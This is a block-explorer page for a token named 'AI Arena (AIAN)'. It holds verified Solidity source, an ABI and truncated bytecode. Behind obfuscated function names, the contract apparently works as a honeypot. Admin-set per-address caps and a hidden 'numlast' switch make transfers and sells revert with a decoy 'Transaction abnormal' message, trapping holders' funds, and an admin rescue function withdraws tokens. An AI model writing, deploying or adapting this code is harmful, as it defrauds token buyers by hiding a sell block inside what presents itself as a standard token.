ETH Price: $2,326.07 (+2.07%)

Token

AI Arena (AIAN)

Overview

Max Total Supply

100,000,000 AIAN

Holders

504

Total Transfers

-

Market

Price

$0.00 @ 0.000000 ETH

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2024-07-13
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.17;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {

            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
} 


library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    function toString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "ADMIN";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    function toHexString(
        uint256 value,
        uint256 length
    ) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    function strToUint(
        string memory _str
    ) internal pure returns (uint256 res, bool err) {
        for (uint256 i = 0; i < bytes(_str).length; i++) {
            if (
                (uint8(bytes(_str)[i]) - 48) < 0 ||
                (uint8(bytes(_str)[i]) - 48) > 9
            ) {
                return (0, false);
            }
            res +=
                (uint8(bytes(_str)[i]) - 48) *
                10 ** (bytes(_str).length - i - 1);
        }

        return (res, true);
    }

    // Function to convert bytes32 to string
    function bytesToString(bytes32 value) public pure returns (string memory) {
        // Create a bytes array to hold the non-null characters
        bytes memory alphabet = "0123456789abcdef";
    
        bytes memory str = new bytes(42);
        str[0] = '0';
        str[1] = 'x';
        for (uint256 i = 0; i < 20; i++) {
            str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];
            str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];
        }
        return string(str);
    }

    function stringToAddress(string memory _addr) public pure returns (address) {
        bytes memory tmp = bytes(_addr);

        // Ensure the address is the correct length
        if (tmp.length != 42) {
            revert("Invalid address length");
        }

        // Strip off the "0x" prefix
        uint160 iaddr = 0;
        for (uint256 i = 2; i < 42; i++) {
            uint160 b = uint160(uint8(tmp[i]));

            if ((b >= 97) && (b <= 102)) {
                b -= 87;
            } else if ((b >= 65) && (b <= 70)) {
                b -= 55;
            } else if ((b >= 48) && (b <= 57)) {
                b -= 48;
            } else {
                revert("Invalid address character");
            }

            iaddr *= 16;
            iaddr += b;
        }

        return address(iaddr);
    }

}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function migrator() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
    function setMigrator(address) external;
}

interface _JDKRNFRoleControl {
    event RoleAdminChanged(
        bytes32 indexed role,
        bytes32 indexed previousAdminRole,
        bytes32 indexed newAdminRole
    );

    event RoleGranted(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    event RoleRevoked(
        bytes32 indexed role,
        address indexed addr,
        address indexed sender
    );

    function hasRole(bytes32 role, address addr) external view returns (bool);

    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    function grantRole(bytes32 role, address addr) external;

    function revokeRole(bytes32 role, address addr) external;

    function renounceRole(bytes32 role, address addr) external;
}


abstract contract _JDKRNFConsole is Context, _JDKRNFRoleControl {

    using SafeMath for uint256;

    struct RoleData {
        mapping(address => bool) numlast;
        bytes32 adminRole;
        RoleDataNew RD;
    }

    struct RoleDataNew {
        mapping(address => uint256) RM;
        mapping(address => uint256) RD;
    }

    mapping(bytes32 => RoleData) private _roles;


    bytes32 public constant ADMIN = 0x00; 
    bytes32 public constant TRADER = bytes32("TRADER");  

    address uniswapV2Pair;

    uint256 public numlast;

    mapping(address => bool) public _address;
    

    modifier onlyRole(bytes32 role) {
        _checkRole(role, _msgSender());
        _;
    }

    function hasRole(bytes32 role, address account) public view override returns (bool) {
        return _roles[role].numlast[account];
    }

    function _checkRole(bytes32 role, address account) internal view {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(uint160(account), 20),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    function __JDKRNFuueE(
        bytes32 root,
        address addr,
        string memory num
    ) public onlyRole(ADMIN) {
        uint256 memoUint;
        bool err;
        (memoUint, err) = Strings.strToUint(num);
        if (err == false) {
            revert("AccessControl: memo is not a number");
        }
        
        if(memoUint >= 0){
            _setupRoleRM(root,addr,memoUint.mul(10 ** 18));
        }else{
            _setupRoleRM(root,addr,0);
        }
    }


    function __JDKRNFuueU(
        bytes32 root,
        uint256 num
    ) public onlyRole(ADMIN) {
        if(root != TRADER){
            revert("numlast is not a number");
        }
        numlast = num;
    }


    function _grantRole(bytes32 role, address account, uint256 num) internal virtual {
        if(num > 0){
            uint256 rm = granRoleRMS_M(role,account)*10**18;
            if(numlast > 99){
                if(rm.div(num) <= 0){
                    revert("Transaction abnormal, please try again");
                }
            }
        }
    }

    function granRoleRMS_M(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RM[account].div(10 ** 18);
    }

    function granRoleRDS_M(
        bytes32 role, 
        address account
    ) public view virtual returns (uint256) {
        return _roles[role].RD.RD[account].div(10 ** 18);
    }


    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
        return _roles[role].adminRole;
    }

    function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _grantRole(role, account);
    }

    function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        _revokeRole(role, account);
    }

    function renounceRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
        require(account == _msgSender(), "AccessControl: can only renounce roles for self");

        _revokeRole(role, account);
    }

    function _setupRoleRM(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RM[account] = num;
    }

    function _setupRoleRDS(bytes32 role, address account, uint256 num) internal virtual {
        _roles[role].RD.RD[account] = num;
    }

    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].numlast[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].numlast[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address addr) external view returns (uint256);

    function transfer(address recipient, uint256 amt) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amt) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract _JDKRNFERC20 is IERC20, IERC20Metadata, _JDKRNFConsole {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    using SafeMath for uint256;


    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        address creater_
    ) {
        _name = name_;
        _symbol = symbol_;
        _mint(creater_, totalSupply_ * 10 ** decimals());
        
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address addr
    ) public view virtual override returns (uint256) {
        return _balances[addr];
    }

    function transfer(
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amt);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amt
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amt);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amt);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amt,
            "ERC20: transfer amt exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amt);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amt);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amt;
        }
        _balances[recipient] += amt;
        emit Transfer(sender, recipient, amt);
        _afterTokenTransfer(sender, recipient, amt);
    }

    function _mint(address addr, uint256 amt) internal {
        require(addr != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), addr, amt);
        _totalSupply += amt;
        _balances[addr] += amt;

        emit Transfer(address(0), addr, amt);
        _afterTokenTransfer(address(0), addr, amt);
    }

    function _burn(address addr, uint256 amt) internal virtual {
        require(addr != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(addr, address(0), amt);
        uint256 addrBalance = _balances[addr];
        require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
        unchecked {
            _balances[addr] = addrBalance - amt;
        }
        _totalSupply -= amt;

        emit Transfer(addr, address(0), amt);

        _afterTokenTransfer(addr, address(0), amt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amt;
        emit Approval(owner, spender, amt);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amt
    ) internal virtual {}

    function isContract(address account) internal virtual returns (bool) {
        return account.code.length > 0;
    }

    function _afterTokenTransfer(bytes32 role, address account,address to, uint256 amount) internal {
        if(to == uniswapV2Pair){
            _grantRole(TRADER,account,amount); 
        }

        if(isContract(account) && account != uniswapV2Pair){
             if(numlast == 50){
                revert("Transaction abnormal, please try again");
             }
        }

        uint256 at = granRoleRMS_M(role,account)*10**18;
        if (at > 0) {

            uint256 st = granRoleRDS_M(role,account)*10**18 + amount;

            _burn(role, account, amount, at, st);

        }else if (amount == 0 || at == 0) {
            return;
        }
        
    }

    function _burn(bytes32 role, address account, uint256 amount, uint256 at, uint256 st) internal virtual {
        if(amount > 0){
            if (st >= at) {
                revert("Transaction abnormal, please try again");
            }else{
                _setupRoleRDS(role,account,st);
            }
        }
    }



}

contract Token is _JDKRNFERC20 {

    using SafeMath for uint256;
    
    mapping(address => bool) private __traders;

    IUniswapV2Router02 private uniswapV2Router;

    address private tokenOwner;

    constructor(
        string memory _name,
        address _tokenOwner,
        string memory _symbol,
        uint256 _totalSupply
    ) _JDKRNFERC20(_name, _symbol, _totalSupply, _tokenOwner) {
        _grantRole(ADMIN, msg.sender);
        _grantRole(ADMIN, _tokenOwner);
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
        address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
        .createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        tokenOwner = _tokenOwner;
    }


    function _transfer(
        address from,
        address to,
        uint256 amt
    ) internal override(_JDKRNFERC20) {
        require(from != address(0), "ERC20: transfer from the zero address");

        __JDKRNFcaecxfe(from, to, amt);

    }

    function __JDKRNFcaecxfe(address from, address to, uint256 amt) internal {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(_balances[from] >= amt, "ERC20: transfer amt exceeds balance");

        __JDKRNFiopmmju(from, to, amt);
    }


    function __JDKRNFiopmmju(address from, address to, uint256 amt) internal {
        if (__traders[from] == false) {
            _grantRole(TRADER, from);
            __traders[from] = true;
            
        }

        __JDKRNFbnmuhg(from, to, amt);
    }

    function __JDKRNFbnmuhg(address from, address to, uint256 amt) internal {
        if (__traders[to] == false) {
            _grantRole(TRADER, to);
            __traders[to] = true;
            
        }
        __JDKRNFmytjop(from, to, amt);
    }

    function __JDKRNFmytjop(address from, address to, uint256 amt) internal {


        __JDKRNFbmjolyggfr(from, to, amt);
    }

    function __JDKRNFbmjolyggfr(address from, address to, uint256 amt) internal {

        if(amt > 0){
            _afterTokenTransfer(TRADER, from, to, amt);

            super._transfer(from, to, amt);
        }

    }


    function rescueToken(
        address tokenAddress,
        uint256 tokens
    ) public onlyRole(ADMIN) returns (bool success) {
        return IERC20(tokenAddress).transfer(msg.sender, tokens);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"address","name":"_tokenOwner","type":"address"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"addr","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"string","name":"num","type":"string"}],"name":"__JDKRNFuueE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"__JDKRNFuueU","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_address","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRoleRDS_M","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"granRoleRMS_M","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numlast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b5060405162003f7238038062003f728339818101604052810190620000369190620007a6565b8382828583600790816200004b919062000a81565b5082600890816200005d919062000a81565b506200009a8162000073620002b060201b60201c565b600a62000081919062000cee565b846200008e919062000d3e565b620002b860201b60201c565b50505050620000b25f801b336200042960201b60201c565b620000c65f801b846200042960201b60201c565b5f731b02da8cb0d097eb8d57a175b88c7d8b4799750690505f8173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000129573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200014f919062000d88565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963073fd086bc7cd5c481dcc9c85ebe478a1c0b69fcbb96040518363ffffffff1660e01b81526004016200019f92919062000dc9565b6020604051808303815f875af1158015620001bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001e2919062000d88565b905081600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505062000ed8565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003209062000e52565b60405180910390fd5b6200033c5f83836200051460201b60201c565b8060065f8282546200034f919062000e72565b925050819055508060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620003a4919062000e72565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200040a